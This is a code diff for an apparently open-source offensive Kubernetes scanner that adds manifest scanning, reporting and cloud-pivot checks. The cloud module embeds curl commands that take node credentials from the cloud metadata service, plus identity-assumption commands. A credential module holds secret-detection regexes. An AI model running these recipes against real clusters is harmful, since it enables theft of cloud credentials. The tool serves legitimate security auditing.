findings.extend(scan_ingresses(ingresses))
+ if not args.skip_webhooks:
+ logger.info("Auditing admission webhooks...")
+ validating = list_validating_webhooks(admission)
+ mutating = list_mutating_webhooks(admission)
+ findings.extend(scan_webhooks(validating, mutating))
+
logger.info("Detecting policy engines...")
crds = list_all_crds(apiext)
findings.extend(scan_policy_engines(crds))
@@ -65,56 +166,212 @@ def run_cluster_scan(args) -> List[Finding]:
return findings
+def run_manifest_scan(path: str) -> List[Finding]:
+ """Offline scan of manifests under `path`. Same rules as live cluster, no API access."""
+ from .utils.manifests import load_manifests
+ grouped = load_manifests(path)
+
+ findings: List[Finding] = []
+
+ pods = grouped.get("Pod", [])
+ findings.extend(_scan_pod_collection(pods))
+
+ # Workloads
+ workload_kinds = ["Deployment", "StatefulSet", "DaemonSet", "Job", "CronJob", "ReplicaSet", "ReplicationController"]
+ for kind in workload_kinds:
+ workloads = grouped.get(kind, [])
+ for synth_pod, _kind, name in iter_workload_pods(workloads, kind):
+ wl_findings = _scan_pod_collection([synth_pod])
+ wl_findings = relabel_workload_findings(wl_findings, kind, name)
+ wl_findings = amplify_daemonset_findings(wl_findings, kind)
+ findings.extend(wl_findings)
+
+ # PSS labels on namespaces (only if they're present in the manifests)
+ nslist = grouped.get("Namespace", [])
+ if nslist:
+ findings.extend(scan_namespace_pss(nslist))
+
+ # RBAC
+ roles = grouped.get("Role", [])
+ croles = grouped.get("ClusterRole", [])
+ rbs = grouped.get("RoleBinding", [])
+ crbs = grouped.get("ClusterRoleBinding", [])
+ if roles or croles or rbs or crbs:
+ findings.extend(scan_rbac(roles, croles, rbs, crbs))
+ findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods))
+ findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods))
+ findings.extend(analyze_tier_zero(roles, croles, rbs, crbs, pods))
+
+ # Cloud pivots: ServiceAccount federation annotations are visible in manifests.
+ service_accounts = grouped.get("ServiceAccount", [])
+ netpols = grouped.get("NetworkPolicy", [])
+ if service_accounts:
+ # No nodes in manifest mode β provider unknown; SA federation still flagged.
+ findings.extend(scan_cloud_pivots([], service_accounts, netpols, grouped.get("Namespace", [])))
+
+ # CVE correlation: only ingress-nginx image tags are knowable offline.
+ ingress_images = find_ingress_images(pods, grouped.get("Deployment", []))
+ if ingress_images:
+ findings.extend(scan_cve(server_version=None, nodes=None, ingress_images=ingress_images))
+
+ # Network
+ services = grouped.get("Service", [])
+ if services:
+ findings.extend(scan_services(services))
+ ingresses = grouped.get("Ingress", [])
+ if ingresses:
+ findings.extend(scan_ingresses(ingresses))
+
+ # Secrets (manifests rarely contain them but support it)
+ secrets = grouped.get("Secret", [])
+ if secrets:
+ findings.extend(scan_secrets(secrets))
+ findings.extend(scan_tokens(secrets))
+
+ # ConfigMaps
+ configmaps = grouped.get("ConfigMap", [])
+ if configmaps:
+ findings.extend(scan_configmaps(configmaps))
+
+ # Webhooks
+ validating = grouped.get("ValidatingWebhookConfiguration", [])
+ mutating = grouped.get("MutatingWebhookConfiguration", [])
+ if validating or mutating:
+ findings.extend(scan_webhooks(validating, mutating))
+
+ return findings
+
+
def _max_severity(findings: List[Finding]) -> int:
if not findings:
return 0
return max(SEVERITY_ORDER.get(f.severity, 0) for f in findings)
+BANNER = r"""
+ __ __ __
+ / /____ ___/ /_ ___ ______ ___ ___ ____ / /_
+ / '_/ // / _ / -_)_ /__/ _ \/ _ `(_-< /__/ __/
+/_/\_\\_,_/\_,_/\__//_/_/ \___/\_,_/___/ \__/
+"""
+
+
+def _print_banner():
+ if not c.supported():
+ return
+ print(c.cyan(BANNER), file=sys.stderr)
+ print(c.dim(f" offensive K8s scanner Β· v{__version__}"), file=sys.stderr)
+ print("", file=sys.stderr)
+
+
+EPILOG = textwrap.dedent("""\
+ Examples:
+
+ # Offensive triage of the current context (attack paths lead, lint hidden)
+ kuberoast --report text
+
+ # Only what's exploitable right now
+ kuberoast --min-exploitability easy --report text
+
+ # Hunt the keys to the kingdom: escapes, escalation chains, tier-0, cloud pivots
+ kuberoast --report json | jq '[.[] | select(.category | IN("Escape","AttackPath","CloudPivot","CVE"))]'
+
+ # Pre-deploy: scan a directory of YAML/JSON manifests
+ kuberoast --manifests ./k8s/ --report text
+
+ # CI gate: fail the build on critical, machine-readable output
+ kuberoast --fail-on critical --report json > scan.json
+
+ # Add back the defense-in-depth / compliance findings
+ kuberoast --include-hygiene --report text
+
+ Find docs and recent research at https://snailsploit.com/tools
+ """)
+
+
def main(argv=None) -> int:
- ap = argparse.ArgumentParser(description="kuberoast - offensive K8s misconfig & attack-path scanner")
+ ap = argparse.ArgumentParser(
+ prog="kuberoast",
+ description="Offensive Kubernetes misconfig & attack-path scanner. "
+ "Read-only; safe to run in prod. Built for real-world escalation paths, not checklists.",
+ epilog=EPILOG,
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ )
+ ap.add_argument("--version", action="version", version=f"kuberoast {__version__}")
+ ap.add_argument("--no-color", action="store_true", help="Disable ANSI colors in text output")
ap.add_argument("--report", choices=["json", "text", "html"], default="json", help="Output format")
ap.add_argument("--out", help="Write report to file (required for HTML)")
- ap.add_argument("--skip-nodes", action="store_true", help="Skip node/kubelet probes")
- ap.add_argument("--skip-secrets", action="store_true", help="Skip secret heuristics")
- ap.add_argument("--skip-attack-paths", action="store_true", help="Skip RBAC attack-path analysis")
- ap.add_argument("--manifests", help="Directory of YAML/JSON manifests to scan (MVP)")
+ ap.add_argument("--skip-nodes", action="store_true", help="Skip all node-level probes")
+ ap.add_argument("--skip-kubelet-probe", action="store_true",
+ help="Skip active kubelet HTTP probing (still does TCP-port check)")
+ ap.add_argument("--skip-secrets", action="store_true", help="Skip secret heuristics + token analysis")
+ ap.add_argument("--skip-configmaps", action="store_true", help="Skip ConfigMap credential hunt")
+ ap.add_argument("--skip-attack-paths", action="store_true", help="Skip RBAC attack-path + tier-0 analysis")
+ ap.add_argument("--skip-webhooks", action="store_true", help="Skip admission webhook audit")
+ ap.add_argument("--skip-cloud", action="store_true", help="Skip cloud-pivot analysis (IMDS + workload identity)")
+ ap.add_argument("--skip-cve", action="store_true", help="Skip versionβCVE correlation")
+ ap.add_argument("--include-hygiene", action="store_true",
+ help="Include defense-in-depth / compliance findings (off by default β these are hidden so attack paths lead)")
+ ap.add_argument("--manifests", help="Directory or file of YAML/JSON manifests to scan offline (shift-left mode)")
ap.add_argument("--provider", choices=["generic", "eks", "aks", "gke"], default="generic",
help="Cloud provider for context-aware remediation advice")
ap.add_argument("--kubeconfig", help="Path to kubeconfig file (defaults to ~/.kube/config)")
ap.add_argument("--namespace", "-n", help="Limit scan to a specific namespace")
ap.add_argument("--min-severity", choices=["info", "low", "medium", "high", "critical"],
default="info", help="Only include findings at or above this severity")
+ ap.add_argument("--min-exploitability", choices=["theoretical", "hard", "moderate", "easy", "trivial"],
+ default=None, help="Only include findings at or above this exploitability level")
ap.add_argument("--fail-on", choices=["info", "low", "medium", "high", "critical"],
- default=None, help="Exit with code 1 if any finding meets or exceeds this severity")
+ default=None, help="Exit code 1 if any finding meets or exceeds this severity")
ap.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
args = ap.parse_args(argv)
+ if args.no_color:
+ c.force_disable()
+
logging.basicConfig(
level=logging.DEBUG if args.verbose else logging.WARNING,
- format="%(levelname)s: %(message)s",
+ format=f" {c.dim('Β·')} %(message)s" if c.supported() else "%(message)s",
stream=sys.stderr,
)
- if args.manifests:
- logger.error("Manifest mode not yet implemented. Use cluster mode.")
- return 2
+ if args.verbose and args.report == "text":
+ _print_banner()
if args.report == "html" and not args.out:
logger.error("--report html requires --out FILE")
return 2
try:
- findings = run_cluster_scan(args)
+ if args.manifests:
+ findings = run_manifest_scan(args.manifests)
+ else:
+ findings = run_cluster_scan(args)
except Exception as e:
logger.error("Scan failed: %s", e)
+ if args.verbose:
+ import traceback
+ traceback.print_exc(file=sys.stderr)
return 2
+ # Drop hygiene/compliance noise unless explicitly requested. This is the
+ # core "no kiddie stuff" default: lead with attack paths, not lint.
+ if not args.include_hygiene:
+ findings = [f for f in findings if f.id not in HYGIENE_FINDING_IDS]
+
# Filter by minimum severity
min_sev = SEVERITY_ORDER[args.min_severity]
findings = [f for f in findings if SEVERITY_ORDER.get(f.severity, 0) >= min_sev]
- # Pass provider to reporters for context-aware remediation
+ # Filter by minimum exploitability (if set)
+ if args.min_exploitability:
+ EXPL_ORDER = {"theoretical": 0, "hard": 1, "moderate": 2, "easy": 3, "trivial": 4}
+ thresh = EXPL_ORDER[args.min_exploitability]
+ findings = [
+ f for f in findings
+ if f.exploitability and EXPL_ORDER.get(f.exploitability, 0) >= thresh
+ ]
+
if args.report == "json":
output = json_report.emit(findings)
elif args.report == "html":
@@ -129,7 +386,6 @@ def main(argv=None) -> int:
else:
print(output)
- # Exit code based on --fail-on threshold
if args.fail_on:
threshold = SEVERITY_ORDER[args.fail_on]
if _max_severity(findings) >= threshold:
@@ -137,5 +393,6 @@ def main(argv=None) -> int:
return 0
+
if __name__ == "__main__":
raise SystemExit(main())
diff --git a/kuberoast/reporting/text.py b/kuberoast/reporting/text.py
index 91ec2f7..78e3d96 100644
--- a/kuberoast/reporting/text.py
+++ b/kuberoast/reporting/text.py
@@ -1,34 +1,87 @@
from collections import Counter
from typing import List
+
from ..utils.findings import Finding
+from ..utils import colors as c
SEVERITY_ORDER = ["critical", "high", "medium", "low", "info"]
+def _indent(text: str, prefix: str = " ") -> str:
+ return "\n".join(prefix + line for line in (text or "").splitlines())
+
+
+def _bar(counts, total: int, width: int = 40) -> str:
+ """Render a tiny severity histogram bar (TTY-safe)."""
+ out = []
+ for sev in SEVERITY_ORDER:
+ n = counts.get(sev, 0)
+ if n == 0:
+ continue
+ slots = max(1, round(n / total * width)) if total else 0
+ block = "β" * slots
+ out.append(c.SEVERITY_COLORS.get(sev, lambda s: s)(block))
+ return "".join(out)
+
+
def emit(findings: List[Finding]) -> str:
if not findings:
- return "No findings."
+ return c.green("β No findings.")
lines: list[str] = []
- # Summary header
counts = Counter(f.severity for f in findings)
- summary_parts = [f"{counts.get(s, 0)} {s}" for s in SEVERITY_ORDER if counts.get(s, 0)]
- lines.append(f"=== kuberoast scan: {len(findings)} findings ({', '.join(summary_parts)}) ===")
+ total = len(findings)
+
+ # Headline
lines.append("")
+ lines.append(c.bold(f" kuberoast ") + c.dim(f"Β· {total} findings"))
+ lines.append("")
+ bar = _bar(counts, total)
+ if bar:
+ legend = " ".join(
+ f"{c.sev(s)} {counts.get(s, 0)}"
+ for s in SEVERITY_ORDER if counts.get(s, 0)
+ )
+ lines.append(f" {bar}")
+ lines.append(f" {legend}")
+ lines.append("")
+
+ # Exploitability summary
+ exp_counts = Counter(f.exploitability for f in findings if f.exploitability)
+ if exp_counts:
+ exp_legend = " ".join(
+ f"{c.exploit(lvl)} {exp_counts[lvl]}"
+ for lvl in ("trivial", "easy", "moderate", "hard", "theoretical")
+ if exp_counts.get(lvl)
+ )
+ lines.append(f" {c.dim('Exploitability:')} {exp_legend}")
+ lines.append("")
- # Group by severity, ordered critical -> info
+ # Findings grouped by severity
for sev in SEVERITY_ORDER:
group = [f for f in findings if f.severity == sev]
if not group:
continue
- lines.append(f"--- {sev.upper()} ({len(group)}) ---")
+ lines.append(c.bold(f" {sev.upper()} ") + c.dim(f"({len(group)})"))
+ lines.append(c.dim(" " + "β" * 60))
for f in group:
- lines.append(f" [{f.severity.upper()}] {f.title}")
- lines.append(f" Resource: {f.resource or '-'}")
- lines.append(f" Description: {f.description}")
+ tag = f"[{c.sev(f.severity)}]"
+ if f.exploitability:
+ tag = f"{tag} {c.exploit(f.exploitability)}"
+ lines.append(f" {tag} {c.bold(f.title)}")
+ lines.append(f" {c.dim('id:')} {f.id}")
+ lines.append(f" {c.dim('resource:')} {f.resource or '-'}")
+ lines.append(f" {c.dim('summary:')} {f.description.splitlines()[0]}")
+ if f.impact:
+ lines.append(f" {c.dim('impact:')} {f.impact}")
+ if f.exploit:
+ lines.append(f" {c.dim('poc:')}")
+ lines.append(_indent(f.exploit, " " + c.cyan("β ")))
+ if f.attack_techniques:
+ lines.append(f" {c.dim('att&ck:')} {', '.join(f.attack_techniques)}")
if f.remediation:
- lines.append(f" Remediation: {f.remediation}")
+ lines.append(f" {c.dim('fix:')} {f.remediation}")
lines.append("")
return "\n".join(lines)
diff --git a/kuberoast/scanners/cloud.py b/kuberoast/scanners/cloud.py
new file mode 100644
index 0000000..4b40bd4
--- /dev/null
+++ b/kuberoast/scanners/cloud.py
@@ -0,0 +1,297 @@
+"""Cloud account pivot analysis.
+
+The single most impactful real-world Kubernetes escalation is rarely
+"pod β cluster-admin". It's "pod β cloud account". Two mechanisms:
+
+ 1. IMDS theft. Every pod that can reach the node's Instance Metadata
+ Service (169.254.169.254) can request the node's instance-role
+ credentials. On EKS/GKE/AKS the node role is frequently
+ over-permissioned (ECR pull, S3, SSM, autoscaling, sometimes *).
+ With IMDSv1 (or IMDSv2 reachable from a hostNetwork pod) this is a
+ single curl. The control that stops it is an egress NetworkPolicy
+ (or hop-limit=1 + IMDSv2). Most clusters have neither.
+
+ 2. Federated workload identity. IRSA (EKS), Workload Identity (GKE),
+ and Azure Workload Identity bind a Kubernetes ServiceAccount to a
+ cloud IAM role/principal. Anyone who can run as that SA β directly,
+ or via an RBAC escalation chain β inherits the cloud role. The SA
+ annotation tells you exactly which role.
+
+This scanner models both as concrete pivots with the curl/CLI an
+operator would run. It needs: nodes (for provider + IMDS posture),
+service accounts (for federation annotations), and network policies
+(to determine whether egress to IMDS is actually blocked).
+"""
+from typing import List, Dict, Set, Optional
+from ..utils.findings import Finding
+
+IMDS_IP = "169.254.169.254"
+IMDS_CIDR = "169.254.169.254/32"
+LINK_LOCAL = "169.254.0.0/16"
+
+# SA annotations that bind a Kubernetes SA to a cloud identity.
+IRSA_ANNOTATION = "eks.amazonaws.com/role-arn"
+GKE_WI_ANNOTATION = "iam.gke.io/gcp-service-account"
+AZURE_WI_ANNOTATION = "azure.workload.identity/client-id"
+AZURE_WI_LABEL = "azure.workload.identity/use"
+
+
+def _detect_provider(nodes) -> Optional[str]:
+ """Best-effort cloud provider from node providerID / labels."""
+ for n in nodes:
+ spec = getattr(n, "spec", None)
+ provider_id = getattr(spec, "provider_id", None) if spec else None
+ if provider_id:
+ pid = provider_id.lower()
+ if pid.startswith("aws:"):
+ return "aws"
+ if pid.startswith("gce:") or pid.startswith("gke:"):
+ return "gcp"
+ if pid.startswith("azure:"):
+ return "azure"
+ labels = getattr(getattr(n, "metadata", None), "labels", None) or {}
+ joined = " ".join(labels.keys()).lower()
+ if "eks.amazonaws.com" in joined or "node.kubernetes.io/instance-type" in joined and "aws" in joined:
+ return "aws"
+ if "cloud.google.com" in joined or "iam.gke.io" in joined:
+ return "gcp"
+ if "kubernetes.azure.com" in joined or "agentpool" in joined:
+ return "azure"
+ return None
+
+
+# Per-provider IMDS exploitation recipe.
+_IMDS_RECIPE = {
+ "aws": (
+ "AWS EC2 IMDS β steal the node's instance-role credentials",
+ "# IMDSv1 (single request):\n"
+ "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\n"
+ "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\n"
+ "# IMDSv2 (token first):\n"
+ "TOKEN=$(curl -sX PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')\n"
+ "curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/",
+ "Node EC2 instance-role credentials. Typically grants ECR pull, EBS, "
+ "autoscaling, SSM, and frequently broad S3 β pivot from pod into the AWS account.",
+ ["T1552.005"],
+ ),
+ "gcp": (
+ "GCP IMDS β steal the node service-account access token",
+ "curl -s -H 'Metadata-Flavor: Google' "
+ "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'\n"
+ "# enumerate scopes:\n"
+ "curl -s -H 'Metadata-Flavor: Google' "
+ "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes'",
+ "Node GCE service-account OAuth token. Default node SA often has "
+ "broad project scope (GCS, GCR/Artifact Registry, logging) β pivot into the GCP project.",
+ ["T1552.005"],
+ ),
+ "azure": (
+ "Azure IMDS β steal a managed-identity access token",
+ "curl -s -H 'Metadata: true' "
+ "'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'",
+ "Node managed-identity token for ARM (or other resources). Pivot into "
+ "the Azure subscription with the node identity's role assignments.",
+ ["T1552.005"],
+ ),
+ None: (
+ "Cloud IMDS β steal node identity credentials",
+ "# AWS: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n"
+ "# GCP: curl -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\n"
+ "# Azure: curl -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'",
+ "Node cloud identity credentials β pivot from the pod into the cloud account.",
+ ["T1552.005"],
+ ),
+}
+
+
+def _egress_blocks_imds(netpols, namespace: str) -> bool:
+ """True if some NetworkPolicy in `namespace` plausibly restricts egress.
+
+ We can't perfectly evaluate CIDR exclusions, so we use a conservative
+ heuristic: a policy that selects all pods ({} podSelector) and has an
+ Egress policyType is treated as 'egress is constrained here'. Absent
+ that, we assume IMDS is reachable (the common, dangerous default).
+ """
+ for np in netpols:
+ meta = getattr(np, "metadata", None)
+ if not meta or getattr(meta, "namespace", None) != namespace:
+ continue
+ spec = getattr(np, "spec", None)
+ if not spec:
+ continue
+ policy_types = getattr(spec, "policy_types", None) or []
+ has_egress_type = any(pt == "Egress" for pt in policy_types)
+ # Selecting all pods?
+ pod_selector = getattr(spec, "pod_selector", None)
+ ml = getattr(pod_selector, "match_labels", None) if pod_selector else None
+ me = getattr(pod_selector, "match_expressions", None) if pod_selector else None
+ selects_all = (pod_selector is not None) and not ml and not me
+ if has_egress_type and selects_all:
+ return True
+ return False
+
+
+def scan_cloud_pivots(nodes, service_accounts, netpols, namespaces) -> List[Finding]:
+ findings: List[Finding] = []
+ provider = _detect_provider(nodes or [])
+
+ # ---- 1. IMDS reachability (per-namespace egress posture) ----
+ title, exploit, impact, techniques = _IMDS_RECIPE.get(provider, _IMDS_RECIPE[None])
+ ns_names = [getattr(getattr(ns, "metadata", None), "name", None) for ns in (namespaces or [])]
+ ns_names = [n for n in ns_names if n]
+ # If we couldn't list namespaces, still emit a single cluster-wide finding.
+ targets = ns_names or [None]
+
+ open_namespaces = []
+ for ns in targets:
+ if ns is not None and _egress_blocks_imds(netpols or [], ns):
+ continue
+ open_namespaces.append(ns)
+
+ if provider is not None and open_namespaces:
+ # Emit one consolidated finding listing the exposed namespaces.
+ shown = [n for n in open_namespaces if n][:25]
+ ns_desc = (
+ f"{len(open_namespaces)} namespace(s) have no egress NetworkPolicy constraining "
+ f"traffic to the metadata service"
+ if any(n is not None for n in open_namespaces)
+ else "the cluster has no egress NetworkPolicy constraining traffic to the metadata service"
+ )
+ findings.append(Finding(
+ id="CLOUD-IMDS-REACHABLE",
+ title=f"IMDS reachable from pods β {title}",
+ description=(
+ f"Cloud provider detected: {provider}. {ns_desc}. Any workload that achieves RCE "
+ f"can reach {IMDS_IP} and request the node's identity credentials. "
+ + (f"Exposed namespaces: {', '.join(shown)}." if shown else "")
+ ),
+ severity="high",
+ category="CloudPivot",
+ resource=f"provider/{provider}",
+ exploitability="easy",
+ exploit=exploit,
+ impact=impact,
+ attack_techniques=techniques,
+ remediation=(
+ "Block egress to 169.254.169.254/32 with a default-deny egress NetworkPolicy "
+ "(or Cilium/Calico global policy). On AWS, also enforce IMDSv2 with "
+ "HttpPutResponseHopLimit=1 so containers (one hop from the host) cannot reach IMDS. "
+ "On GKE, enable Workload Identity and Metadata Concealment. On AKS, restrict IMDS via netpol."
+ ),
+ references=[
+ "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
+ "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html",
+ "https://attack.mitre.org/techniques/T1552/005/",
+ ],
+ ))
+
+ # ---- 2. Federated workload identity (SA β cloud role) ----
+ for sa in (service_accounts or []):
+ meta = getattr(sa, "metadata", None)
+ if not meta:
+ continue
+ name = getattr(meta, "name", "?")
+ ns = getattr(meta, "namespace", None)
+ annotations = getattr(meta, "annotations", None) or {}
+ labels = getattr(meta, "labels", None) or {}
+
+ role_arn = annotations.get(IRSA_ANNOTATION)
+ if role_arn:
+ findings.append(Finding(
+ id="CLOUD-IRSA",
+ title="ServiceAccount federated to AWS IAM role (IRSA)",
+ description=(
+ f"ServiceAccount {ns}/{name} is bound to AWS IAM role {role_arn} via IRSA. "
+ "Any principal that can run as this SA β directly or through an RBAC escalation "
+ "chain β assumes this IAM role and inherits its AWS permissions."
+ ),
+ severity="medium",
+ category="CloudPivot",
+ namespace=ns,
+ resource=f"serviceaccount/{name}",
+ exploitability="easy",
+ exploit=(
+ "# From a pod running as this SA (token at the projected path):\n"
+ "TOKEN=$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)\n"
+ f"aws sts assume-role-with-web-identity --role-arn {role_arn} "
+ "--role-session-name pwn --web-identity-token \"$TOKEN\"\n"
+ "aws sts get-caller-identity"
+ ),
+ impact=f"Assumption of AWS IAM role {role_arn}. Blast radius = that role's policy.",
+ attack_techniques=["T1550.001", "T1078.004"],
+ remediation=(
+ "Scope the IAM role's trust policy to the exact SA "
+ f"(condition: system:serviceaccount:{ns}:{name}) and apply least privilege to the role. "
+ "Audit who can run-as / exec / create pods in this namespace."
+ ),
+ references=[
+ "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
+ "https://attack.mitre.org/techniques/T1550/001/",
+ ],
+ ))
+
+ gsa = annotations.get(GKE_WI_ANNOTATION)
+ if gsa:
+ findings.append(Finding(
+ id="CLOUD-GKE-WI",
+ title="ServiceAccount federated to GCP service account (Workload Identity)",
+ description=(
+ f"ServiceAccount {ns}/{name} maps to GCP service account {gsa} via GKE Workload Identity. "
+ "Running as this KSA grants that GCP SA's project permissions."
+ ),
+ severity="medium",
+ category="CloudPivot",
+ namespace=ns,
+ resource=f"serviceaccount/{name}",
+ exploitability="easy",
+ exploit=(
+ "# From a pod running as this SA, the metadata endpoint returns the GSA token:\n"
+ "curl -s -H 'Metadata-Flavor: Google' "
+ "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'\n"
+ "gcloud auth print-access-token # if gcloud present"
+ ),
+ impact=f"Access as GCP service account {gsa} β pivot into the GCP project with its IAM bindings.",
+ attack_techniques=["T1550.001", "T1078.004"],
+ remediation=(
+ "Apply least privilege to the GCP service account. Restrict who can run-as / exec / "
+ "create pods using this KSA. Prefer per-workload GSAs over shared ones."
+ ),
+ references=[
+ "https://cloud.google.com/kubernetes-engine/docs/concepts/workload-identity",
+ "https://attack.mitre.org/techniques/T1550/001/",
+ ],
+ ))
+
+ if annotations.get(AZURE_WI_ANNOTATION) or labels.get(AZURE_WI_LABEL) == "true":
+ client_id = annotations.get(AZURE_WI_ANNOTATION, "")
+ findings.append(Finding(
+ id="CLOUD-AZURE-WI",
+ title="ServiceAccount federated to Azure managed identity (Workload Identity)",
+ description=(
+ f"ServiceAccount {ns}/{name} is configured for Azure Workload Identity "
+ f"(client-id {client_id}). Running as this SA yields tokens for that Azure identity."
+ ),
+ severity="medium",
+ category="CloudPivot",
+ namespace=ns,
+ resource=f"serviceaccount/{name}",
+ exploitability="easy",
+ exploit=(
+ "# Federated token is projected into the pod; exchange it for an ARM token:\n"
+ "az login --service-principal -u $AZURE_CLIENT_ID "
+ "--tenant $AZURE_TENANT_ID --federated-token \"$(cat $AZURE_FEDERATED_TOKEN_FILE)\"\n"
+ "az account show"
+ ),
+ impact="Access as the federated Azure managed identity β pivot into the subscription via its role assignments.",
+ attack_techniques=["T1550.001", "T1078.004"],
+ remediation=(
+ "Apply least privilege to the managed identity's role assignments and scope the federated "
+ "credential subject to this exact SA. Restrict run-as / exec / pod-create in this namespace."
+ ),
+ references=[
+ "https://azure.github.io/azure-workload-identity/docs/",
+ "https://attack.mitre.org/techniques/T1550/001/",
+ ],
+ ))
+
+ return findings
diff --git a/kuberoast/scanners/configmaps.py b/kuberoast/scanners/configmaps.py
new file mode 100644
index 0000000..ec4ea7d
--- /dev/null
+++ b/kuberoast/scanners/configmaps.py
@@ -0,0 +1,136 @@
+"""ConfigMap credential hunting.
+
+ConfigMaps aren't supposed to hold secrets β but in practice they do, all
+the time. Common patterns we look for:
+
+ * `application.yaml` / `config.json` with `password:` / `apiKey:` fields
+ * AWS access keys (AKIAβ¦), GCP service account JSON, Azure storage keys
+ * private SSH/TLS keys committed to ConfigMaps for "convenience"
+ * .env-style key=value with credential-like keys
+ * JDBC/connection strings with embedded credentials
+ * Slack/Discord/GitHub tokens (xoxb-β¦, ghp_β¦, ghs_β¦)
+
+Patterns are calibrated against real attacker triage: high-signal regexes
+that minimize false positives. Each match emits the literal substring that
+matched so the operator can validate without a separate decoder.
+"""
+import re
+from typing import List
+from ..utils.findings import Finding
+
+
+# (id, pattern, description, severity)
+CREDENTIAL_PATTERNS = [
+ ("aws-akid", re.compile(r"\bAKIA[0-9A-Z]{16}\b"),
+ "AWS Access Key ID", "critical"),
+ ("aws-secret", re.compile(r"(?i)aws.{0,20}?(secret|access)[\W_]{0,5}[a-z0-9/+=]{40}"),
+ "AWS-style secret access key", "high"),
+ ("gcp-sa-json", re.compile(r'"type"\s*:\s*"service_account"'),
+ "GCP service account JSON", "critical"),
+ ("private-key-pem", re.compile(r"-----BEGIN (?:RSA |DSA |EC |OPENSSH |)PRIVATE KEY-----"),
+ "PEM private key", "critical"),
+ ("ssh-private", re.compile(r"-----BEGIN OPENSSH PRIVATE KEY-----"),
+ "OpenSSH private key", "critical"),
+ ("slack-bot", re.compile(r"xox[baprs]-[A-Za-z0-9-]{10,}"),
+ "Slack token", "high"),
+ ("github-pat", re.compile(r"\bghp_[A-Za-z0-9]{36}\b"),
+ "GitHub personal access token", "high"),
+ ("github-server", re.compile(r"\bghs_[A-Za-z0-9]{36}\b"),
+ "GitHub server token", "high"),
+ ("github-app", re.compile(r"\bgho_[A-Za-z0-9]{36}\b"),
+ "GitHub OAuth token", "high"),
+ ("jwt", re.compile(r"\beyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b"),
+ "JWT (may grant API access)", "medium"),
+ ("jdbc-url", re.compile(r"(?i)jdbc:[a-z]+://[^\s\"']*?:[^\s\"'@]+@"),
+ "JDBC URL with embedded credentials", "high"),
+ ("generic-url", re.compile(r"(?i)https?://[^\s\"':/]+:[^\s\"'@/]{6,}@"),
+ "URL with embedded credentials", "high"),
+ ("password-yaml", re.compile(r"(?im)^\s*(?:password|passwd|pwd)\s*[:=]\s*['\"]?[^\s'\"#]{6,}"),
+ "Plaintext password in config", "medium"),
+ ("apikey", re.compile(r"(?i)(?:api[_-]?key|api[_-]?secret|access[_-]?token)\s*[:=]\s*['\"]?[A-Za-z0-9._-]{16,}"),
+ "API key/token in config", "medium"),
+ ("azure-conn", re.compile(r"DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]{40,}"),
+ "Azure storage connection string", "high"),
+]
+
+
+def _scan_value(key: str, value: str, name: str, ns: str) -> List[Finding]:
+ findings: List[Finding] = []
+ if not value:
+ return findings
+ # Truncate ridiculously large values; we still scan the first 200KB.
+ if len(value) > 200_000:
+ value = value[:200_000]
+ for pat_id, regex, label, sev in CREDENTIAL_PATTERNS:
+ m = regex.search(value)
+ if not m:
+ continue
+ match_text = m.group(0)
+ # Redact long matches so we don't echo the whole secret
+ if len(match_text) > 60:
+ shown = match_text[:30] + "β¦(truncated)"
+ else:
+ # Show first-3, last-3 to confirm identity without leaking the full secret
+ shown = match_text[:6] + "β¦" + match_text[-4:] if len(match_text) > 12 else match_text
+ findings.append(Finding(
+ id=f"CM-LEAK-{pat_id.upper()}",
+ title=f"Credential in ConfigMap: {label}",
+ description=(
+ f"ConfigMap {name} key '{key}' matches a high-signal credential pattern ({label}). "
+ f"Match (redacted): {shown}"
+ ),
+ severity=sev,
+ category="ConfigMaps",
+ namespace=ns,
+ resource=f"configmap/{name}",
+ exploitability="trivial",
+ exploit=(
+ f"kubectl -n {ns} get configmap {name} -o jsonpath='{{.data.{key}}}'"
+ ),
+ impact="Credential exposed via any principal with `get configmap` on this namespace (often broad). Treat as compromised; rotate immediately.",
+ attack_techniques=["T1552.001"],
+ remediation=(
+ "Move credentials out of ConfigMaps. Use Secrets (with EncryptionConfiguration at-rest), "
+ "or an external secret manager (Vault, AWS Secrets Manager, etc.) injected via CSI or operator. "
+ "Rotate the leaked credential."
+ ),
+ references=[
+ "https://kubernetes.io/docs/concepts/configuration/secret/",
+ "https://attack.mitre.org/techniques/T1552/001/",
+ ],
+ ))
+ # one match per pattern per key β avoid spam
+ break
+ return findings
+
+
+def scan_configmaps(configmaps) -> List[Finding]:
+ findings: List[Finding] = []
+ for cm in configmaps:
+ ns = cm.metadata.namespace
+ name = cm.metadata.name
+ # Skip noisy system configmaps that are large and benign
+ if name in {"kube-root-ca.crt", "extension-apiserver-authentication"}:
+ continue
+ data = getattr(cm, "data", {}) or {}
+ binary_data = getattr(cm, "binary_data", {}) or {}
+ for key, val in data.items():
+ findings.extend(_scan_value(key, val, name, ns))
+ for key, _ in binary_data.items():
+ # binary keys are base64 β could be private keys. Only flag suggestive names.
+ if re.search(r"(?i)(key|cred|secret|token|pem)", key):
+ findings.append(Finding(
